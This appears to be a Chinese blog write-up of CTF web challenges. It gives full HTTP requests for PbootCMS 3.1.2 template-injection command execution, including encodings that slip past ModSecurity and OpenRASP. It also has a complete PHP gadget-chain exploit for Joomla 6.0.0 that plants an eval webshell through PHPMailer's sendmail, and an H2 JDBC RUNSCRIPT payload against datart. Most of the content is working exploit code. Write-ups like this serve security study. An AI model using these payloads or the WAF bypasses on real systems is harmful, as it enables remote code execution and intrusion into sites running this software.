为什么现在才发呢?因为还有15天就要公安联考了。今天周五主要想复现一下joomlaCMS的0day。
云网互联赛道 Web-1 1 本赛题使用开源网站框架PbootCMS(版本:3.1.2)搭建了Web应用,且未采用任何安全防护技术。本赛题使用开源网站框架PbootCMS(版本:3.1.2)搭建了Web应用,且未采用任何安全防护技术。
https://cn-sec.com/archives/2668654.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /?member/login/?suanve=}{pboot:if((get_lg/*s-*/())/**/(get_backurl/*s-*/()))}123{/pboot:if}&backurl=;id HTTP/1.1 Host: 172.29.60.11 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: XDEBUG_SESSIO1N=17340; lg=system; PbootSystem=8g1gcjum9vbcbqeh6epc5hlloa Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 Content-Length: 2
Web-2.1 1 本赛题在赛题Web-1的基础上,额外部署了开源的ModSecurity(版本:3.0.14)为Web应用提供安全防护。
部署了防火墙
发现我们的请求被Forbidden了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /?member/login/?{{urld(%23)}}=}{pboot:if((get_lg/*-*/())('cat</flag'))}{/pboot:if}) HTTP/1.1 Host: 172.29.60.11 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: XDEBUG_SESSIO1N=17340; lg=system; PbootSystem=8g1gcjum9vbcbqeh6epc5hlloa Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 Content-Length: 2
其实就是把变量名改成注释符,这样后面就不会被检测到了
上面的可能不太好理解,下面还有一种方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /?member/login/?x=#}{pboot:if((get_lg/*-*/())('cat</flag'))}{/pboot:if}) HTTP/1.1 Host: 172.29.60.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: XDEBUG_SESSIO1N=17340; lg=system; PbootSystem=8g1gcjum9vbcbqeh6epc5hlloa Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 Content-Length: 2
Web-2.2 1 本赛题在赛题Web-1的基础上,额外部署了开源的OpenRASP(版本:1.3.7)为Web应用提供安全防护。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /?member/login/?a=}{pboot:if((get_lg/*aaa-*/())("ls"))}{/pboot:if} HTTP/1.1 Host: 172.29.60.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: XDEBUG_SESSIO1N=17340; lg=system; PbootSystem=8g1gcjum9vbcbqeh6epc5hlloa Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 Content-Length: 2
还有Web-2.1的poc在这里也行
Web-3.1 1 本赛题在赛题Web-1的基础上,采用了同构冗余+负载均衡的架构设计,并集成了ModSecurity + OpenRASP的安全防护机制(两者版本号不变)。
说白了就是2.1和2.2的结合体
但是发现换了好几个命令执行函数都不行,直接试试读文件
Web-3.2 1 本赛题在赛题Web-1的基础上,采用了Web应用异构化技术,并集成了ModSecurity+OpenRASP的安全防护机制(两者版本号不变)。
多了异构化技术,这里解释一下
Web应用异构化技术 指的是 有意地、动态地让一个Web应用的不同实例(或在不同时间点)呈现出不同的特征和行为 ,从而增加攻击者的认知和攻击难度,提升系统防御能力的技术。
上述poc在Web-3.1是可以的,但是在这里不可以,他说方法未定义?
CTF Joomla 1 Joomla是世界上非常流行的软件包,它十分的安全,使用MVC结构组织代码,可扩展性非常的强大,被广泛的用于企业,政府,个人搭建web应用,目前全球范围内约2.8%(2014的统计数据)的网站是基于joomla搭建。在CMS全球市场份额占有约9%。现在来挖挖它最新版的反序列化吧!
让我们挖php反序列化链子(0day),最新版本6.0.0。
我们首先寻找漏洞利用的点
我们跟进到phpmailer.php。
此处$Sendmail的值是我们可控的,而$body值则是函数传入值,那么我们这里可以实现文件写入。
1 2 3 4 5 6 $sendmail = sprintf( '%s -oi -f %s -t', // 格式 escapeshellcmd("tee /var/www/html/shell.php --"), // 第一个%s "attacker@example.com" // 第二个%s ); // 结果:tee /var/www/html/shell.php -- -oi -f attacker@example.com -t
然后我们对sendmailSend方法查找方法,看谁调用了他。
只要$Mailer为sendmail或者qmail都能进入到sendmailSend方法。
继续查找用法
这里我们让presend返回true即可进入postSend方法。
然后我们在send方法查找方法。但是我们啥都找不到。
然后我们在此处找到了一个可以调用方法的地方。调用$listener的$event方法。接着看何处调用dispatcher
databaseDriver的dispatchEvent方法调用了dispatch,先getDispatcher再调用它的dispatch。继续看何处调用dispatchEvent。
databaseDriver的disconnect方法调用了它
这里说明当SqliteDriver对象销毁时,会自动触发名为'onAfterDisconnect'的事件。
然后在disconnect处查找用法
找到入口点啦!但是DataBaseDriver是抽象类,我们找一下它的子类实现它:
一整条链子就完成了
1 2 3 4 5 6 7 8 SqliteDriver#__destruct -> DatabaseDriver#disconnect -> DatabaseDriver#dispatchEvent -> Dispatcher#dispatch -> PHPMail#send -> PHPMail#postSend -> PHPMail#sendmailSend -> popen!!!
然后我们开始分析一下
我们首先看看ConnectionEvent
第一个传参是name,也就是onAfterDisconnect;第二个传参是一个driver($this,也就是自己)。
1 2 3 new ConnectionEvent(DatabaseEvents::POST_DISCONNECT, $this) // 等价于: new ConnectionEvent('onAfterDisconnect', $driver)
接着跟进到dispatchEvent方法,先调用getDispatcher获取dispatcher,然后调用dispatcher的dispatch方法,此处获取的dispatcher就要是如下dispatcher了:
在dispatch方法中遍历listeners数组,并调用$listener的event,也就是遍历所有监听器并执行。
这里我们让它变成调用PHPMail的send方法!
$event->getName其实就是onAfterDisconnect,那么$listeners就可以设置如下:
1 ['onAfterDisconnect' => [[$phpmailer, 'send']]]
循环listeners的onAfterDisconnect,那么$listener就是[[$phpmailer, 'send']],对应了$phpmailer->send,实现了调用!
那我们继续往下看:
我们需要让preSend为true。继续跟进
这里我们让$Mail为sendmail或者qmail都可以。
然后构造命令即可。
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace Joomla \Database \Sqlite { class SqliteDriver { protected $dispatcher ; public function __construct ($dispatcher ) { $this ->dispatcher = $dispatcher ; } } } namespace Joomla \Event { class Dispatcher { protected $listeners = []; public function __construct ($listeners ) { $this ->listeners = $listeners ; } } } namespace PHPMailer \PHPMailer { class PHPMailer { public $Mailer ='qmail '; public $Sender ='MeteorKai@qq.com' ; public $Sendmail ='tee /var/www/html/tmp/shell.php --' ; public $CharSet = 'iso-8859-1' ; public $Body ='<?php eval($_GET[1]);?>' ; public $From = 'MeteorKai@example.com' ; public $AllowEmpty = false ; protected $cc = [['MeteorKai@qq.com' ,'MeteorKai' ]]; } } namespace { $phpmailer = new \PHPMailer \PHPMailer \PHPMailer (); $dispatcher = new \Joomla\Event\Dispatcher (['onAfterDisconnect' => [[$phpmailer ,'send' ]]]); $driver = new \Joomla\Database\Sqlite\SqliteDriver ($dispatcher ); echo urlencode (base64_encode (serialize ($driver ))); }
但是发现会报错??
1 Fatal error: Uncaught TypeError: Joomla\Database\Pdo\PdoDriver::__construct(): Argument #1 ($options) must be of type array, null given, called in /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php on line 783 and defined in /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php:71 Stack trace: #0 /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php(783): Joomla\Database\Pdo\PdoDriver->__construct(NULL) #1 [internal function]: Joomla\Database\Pdo\PdoDriver->__wakeup() #2 /var/www/html/unser.php(6): unserialize('O:35:"Joomla\\Da...') #3 {main} thrown in /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php on line 71
问了一下AI,说错误发生在wakeup中,回归源码看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace Joomla \Database \Sqlite { class SqliteDriver { protected $dispatcher ; protected $options = ['driver' =>'MeteorKai' ]; public function __construct ($dispatcher ) { $this ->dispatcher = $dispatcher ; } } } namespace Joomla \Event { class Dispatcher { protected $listeners = []; public function __construct ($listeners ) { $this ->listeners = $listeners ; } } } namespace PHPMailer \PHPMailer { class PHPMailer { public $Mailer ='qmail '; public $Sender ='MeteorKai@qq.com' ; public $Sendmail ='tee /var/www/html/tmp/shell1.php --' ; public $CharSet = 'iso-8859-1' ; public $Body ='<?php eval($_GET[1]);?>' ; public $From = 'MeteorKai@example.com' ; public $AllowEmpty = false ; protected $cc = [['MeteorKai@qq.com' ,'MeteorKai' ]]; } } namespace { $phpmailer = new \PHPMailer \PHPMailer \PHPMailer (); $dispatcher = new \Joomla\Event\Dispatcher (['onAfterDisconnect' => [[$phpmailer ,'send' ]]]); $driver = new \Joomla\Database\Sqlite\SqliteDriver ($dispatcher ); echo urlencode (base64_encode (serialize ($driver ))); }
成功!
Ezdatart 一个开源的datart项目,版本为1.0.0-rc.3
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /api/v1/data-provider/test HTTP/1.1 Host: 172.31.17.18:8080 Accept: application/json, text/plain, */* Referer: http://172.31.17.18:8080/organizations/f0868537b23e42b183ad8a101cf503b7/sources/6bcd1c797fb84755b47bf0fddeef95f2 Accept-Encoding: gzip, deflate Content-Type: application/json Cookie: AUTHORIZATION_TOKEN=Bearer%20eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJwYXNzd29yZCI6LTE0NDQwODMyMiwiZXhwIjoxNzY0MjUwMTA0fQ.A6MrsP5DBLFbVlXsl_vGOqy32EhuLJEFWdXqNYJz7Cc Accept-Encoding: gzip, deflate Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJwYXNzd29yZCI6LTE0NDQwODMyMiwiZXhwIjoxNzY0MjUwMTA0fQ.A6MrsP5DBLFbVlXsl_vGOqy32EhuLJEFWdXqNYJz7Cc User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Content-Length: 344 {"name":"jdbc-data-provider","type":"JDBC","properties":{"dbType":"H2","url":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '/flag'","user":null,"password":"","driverClass":"org.h2.Driver","serverAggregate":false,"enableSpecialSQL":false,"enableSyncSchemas":true,"syncInterval":"60","properties":{}}}
打JDBC,让他读取/flag的内容并执行SQL文件,我们直接读flag他会报错把flag的内容直接报出来。